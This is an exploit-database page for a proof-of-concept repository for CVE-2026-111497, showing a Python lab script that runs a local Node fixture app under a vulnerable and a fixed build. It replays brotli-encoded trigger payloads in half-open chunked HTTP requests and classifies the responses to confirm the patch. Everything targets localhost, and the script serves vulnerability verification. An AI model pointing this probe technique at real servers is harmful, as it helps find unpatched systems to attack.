Exploit database

GH-4d4672476a14c7b90228dd45b336eb7c

sym01/cve-2026-111497

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

62 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10
sym01/cve-2026-111497Revision 7822cb4156f5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/certify.py

Python · 10,404 bytes
#!/usr/bin/env python3
"""
CVE-2026-111497 HTTP-level differential certification.

Starts the fixture app under the vulnerable and the fixed Node builds (plus an
optional nginx reverse proxy in front of the vulnerable one) and replays the
probe sequence P0/P1/P2/P3 per stack, asserting:

  * the vulnerable build accepts the P2 probe (decode continues -> the app's
    success-signature response), and
  * the fixed build rejects it with a brotli format error (a response class
    equal to the P3 control), while
  * P0/P1 signatures are identical on both builds (they must not differ),
  * the process survives every probe on both builds (no crash, no hang).

Exit code 0 = all certifications passed.
"""

import json
import os
import signal
import subprocess
import sys
import time
import urllib.error
import time
import urllib.request

HERE = os.path.dirname(os.path.abspath(__file__))
NODE_VULN = os.path.join(HERE, "dl", "node-v24.22.0-linux-x64", "bin", "node")
NODE_FIXED = os.path.join(HERE, "dl", "node-v24.22.1-linux-x64", "bin", "node")
PAYLOADS = os.path.join(HERE, "payloads")

CONTENT_TYPES = {
    "json": "application/json",
    "text": "text/plain",
    "raw": "application/octet-stream",
    "urlencoded": "application/x-www-form-urlencoded",
    "fastify": "application/json",
}


def raw_probe(url, body, content_type, wait=8.0, fin_wait=6.0):
    """Half-open chunked probe: send the body with Transfer-Encoding:
    chunked and WITHHOLD the terminating chunk.  Returns the arrival class:
      fast   = answered before the terminator (rejected: format error)
      late   = answered only after the terminator (accepted: starved)
      silent = never answered
    plus the HTTP status/body when present."""
    import socket
    from urllib.parse import urlsplit
    u = urlsplit(url)
    host, port = u.hostname, u.port or 80
    s = socket.create_connection((host, port), timeout=10)
    s.settimeout(10)
    head = (f"POST {u.path or '/'} HTTP/1.1\r\nHost: {host}\r\n"
            f"Content-Type: {content_type}\r\nContent-Encoding: br\r\n"
            f"Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n")
    s.sendall(head.encode())
    piece = 16 * 1024
    try:
        for off in range(0, len(body), piece):
            chunk = body[off:off + piece]
            s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")
    except (BrokenPipeError, ConnectionResetError):
        s.close()
        return {"arrival": "reset", "status": 0, "body": ""}
    s.settimeout(wait)
    buf = b""
    first = None
    try:
        while len(buf) < 8192:
            c = s.recv(4096)
            if not c:
                break
            if first is None:
                first = time.time()
            buf += c
    except socket.timeout:
        pass
    # terminate the body: the vulnerable decoder finally hits the stream end
    # and raises the zlib EOF error (a late answer arrives)
    try:
        s.sendall(b"0\r\n\r\n")
    except OSError:
        pass
    s.settimeout(fin_wait)
    try:
        while len(buf) < 8192:
            c = s.recv(4096)
            if not c:
                break
            buf += c
    except socket.timeout:
        pass
    s.close()
    text = buf.decode("utf-8", "replace")
    status = 0
    if text.startswith("HTTP/"):
        parts = text.split(" ", 2)
        try:
            status = int(parts[1])
        except (IndexError, ValueError):
            status = 0
    if first is not None:
        arrival = "fast"
    elif status:
        arrival = "late"
    else:
        arrival = "silent"
    return {"arrival": arrival, "status": status, "body": text[:200]}


def plain_post(url, body, content_type):
    """Complete request (Content-Length + terminator): the message-signature
    protocol for buffering stacks (express/body-parser)."""
    import urllib.request
    req = urllib.request.Request(url, data=body, method="POST")
    req.add_header("Content-Type", content_type)
    req.add_header("Content-Encoding", "br")
    try:
        with urllib.request.urlopen(req, timeout=60) as resp:
            return {"arrival": "fast", "status": resp.status,
                    "body": resp.read(4096).decode("utf-8", "replace")}
    except urllib.error.HTTPError as e:
        return {"arrival": "fast", "status": e.code,
                "body": e.read(4096).decode("utf-8", "replace")}
    except Exception as e:
        return {"arrival": "error", "status": 0, "body": str(e)}


class App:
    def __init__(self, node_bin, engine, parser, port):
        self.port = port
        env = dict(os.environ, ENGINE=engine, PARSER=parser, PORT=str(port))
        import socket as _s
        _c = _s.socket()
        _busy = _c.connect_ex(("127.0.0.1", port)) == 0
        _c.close()
        if _busy:
            raise RuntimeError(f"port {port} already occupied - pick a free base port")
        self.proc = subprocess.Popen(
            [node_bin, os.path.join(HERE, "fixtures", "app.js")],
            env=env, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
            start_new_session=True)
        self.url = f"http://127.0.0.1:{port}/echo"
        deadline = time.time() + 10
        while time.time() < deadline:
            try:
                with urllib.request.urlopen(self.url.replace("/echo", "/"), timeout=1) as r:
                    pass
            except urllib.error.HTTPError:
                return
            except Exception:
                time.sleep(0.2)
        raise RuntimeError("fixture did not start")

    def alive(self):
        return self.proc.poll() is None

    def stop(self):
        try:
            os.killpg(os.getpgid(self.proc.pid), signal.SIGKILL)
        except ProcessLookupError:
            pass
        self.proc.wait()


def classify_arrival(r):
    return (r["arrival"], r["status"], r["body"][:120])


def certify(engine, parser, port, runs=3):
    results = []
    for label, node_bin in (("vuln", NODE_VULN), ("fixed", NODE_FIXED)):
        app = App(node_bin, engine, parser, port)
        sig = {}
        try:
            for name, fname in (("P0", "p0_valid.bin"), ("P1", "p1_truncated.bin"),
                                ("P2", "p2_trigger.bin"), ("P3", "p3_format_err.bin")):
                with open(os.path.join(PAYLOADS, fname), "rb") as fh:
                    blob = fh.read()
                rs = []
                rs_b = []
                for _ in range(runs):
                    r = raw_probe(app.url, blob, CONTENT_TYPES[parser])
                    rs.append(classify_arrival(r))
                    if name != "P0":
                        rb = plain_post(app.url, blob, CONTENT_TYPES[parser])
                        rs_b.append((rb["status"], rb["body"][:120]))
                sig[name] = rs
                if name != "P0":
                    sig[name + "B"] = rs_b
            sig["alive"] = app.alive()
        finally:
            app.stop()
        results.append((label, sig))
    (v, fs), (f, fsx) = results
    ok = True
    print(f"\n=== {engine}/{parser} :{port} ===")
    for probe in ("P0", "P1", "P2", "P3"):
        vs = [x[0] for x in fs[probe]]
        xs = [x[0] for x in fsx[probe]]
        stable_v = len(set(vs)) == 1
        stable_f = len(set(xs)) == 1
        same = vs[0] == xs[0]
        mark = "SAME" if same else "DIFF"
        print(f"  {probe}  vuln={vs[0]}  fixed={xs[0]}  "
              f"stable={stable_v and stable_f}  {mark}")
        if probe in ("P0", "P1") and not same:
            ok = False
        if not (stable_v and stable_f):
            ok = False
    # protocol A: arrival classes (message-independent)
    #   tuple = (arrival, status, body); arrival: fast|late|silent|reset
    v2a, f2a = fs["P2"][0][0], fsx["P2"][0][0]
    p1a, p3a = fs["P1"][0][0], fs["P3"][0][0]
    # protocol B: message classes (complete requests)
    v2b, f2b = fs["P2B"][0], fsx["P2B"][0]
    p1b, p3b = fs["P1B"][0], fs["P3B"][0]
    verdict = "UNDETERMINED"
    # dual-protocol decision (mirrors runTarget in main.go)
    if p1a != p3a and p1a not in ("reset", "error") and p3a not in ("reset", "error"):
        # arrival oracle discriminates on this stack: P2 inherits the phase
        # of the control it matches (vuln ~ P1 starved, fixed ~ P3 rejected)
        if v2a == p1a and f2a == p3a:
            verdict = "CERTIFIED (arrival): vuln inherits P1, fixed inherits P3"
        elif v2a == p3a and f2a == p3a:
            verdict = "BOTH REJECT (probe never reaches the switch?)"
            ok = False
        elif v2a == p1a and f2a == p1a:
            verdict = "BOTH ACCEPT (probe never reaches the switch?)"
            ok = False
        else:
            verdict = "INCONCLUSIVE (unexpected arrival pattern)"
            ok = False
    elif p1b != p3b:
        # message oracle discriminates (verbose buffering stack)
        if v2b == p1b and f2b == p3b:
            verdict = "CERTIFIED (message): vuln=trunc-class, fixed=format-class"
        elif v2b == p3b and f2b == p3b:
            verdict = "BOTH REJECT (message)"
        else:
            verdict = "INCONCLUSIVE (unexpected message pattern)"
            ok = False
    else:
        verdict = "INCONCLUSIVE (no protocol discriminates: opaque stack)"
        ok = False
    print(f"  verdict: {verdict}")
    print(f"  process survival: vuln={fs['alive']} fixed={fsx['alive']}")
    if not (fs["alive"] and fsx["alive"]):
        ok = False
    return ok


def main():
    if len(sys.argv) > 1 and sys.argv[1].startswith("engine="):
        spec = sys.argv[1][7:]
        engine, parser = spec.split(":")
        port = int(sys.argv[2]) if len(sys.argv) > 2 else 9405
        runs = int(sys.argv[3]) if len(sys.argv) > 3 else 3
        ok = certify(engine, parser, port, runs)
        print("SECTION", "PASS" if ok else "FAIL")
        return 0 if ok else 1
    runs = int(sys.argv[1]) if len(sys.argv) > 1 else 3
    port = int(os.environ.get('CERT_BASE_PORT', '9451'))
    ok = True
    ok &= certify("express5", "json", port); port += 1
    ok &= certify("express5", "text", port); port += 1
    ok &= certify("express5", "raw", port); port += 1
    ok &= certify("express5", "urlencoded", port); port += 1
    ok &= certify("fastify", "json", port); port += 1
    print("\n" + ("ALL CERTIFICATIONS PASSED" if ok else "CERTIFICATION FAILURES"))
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())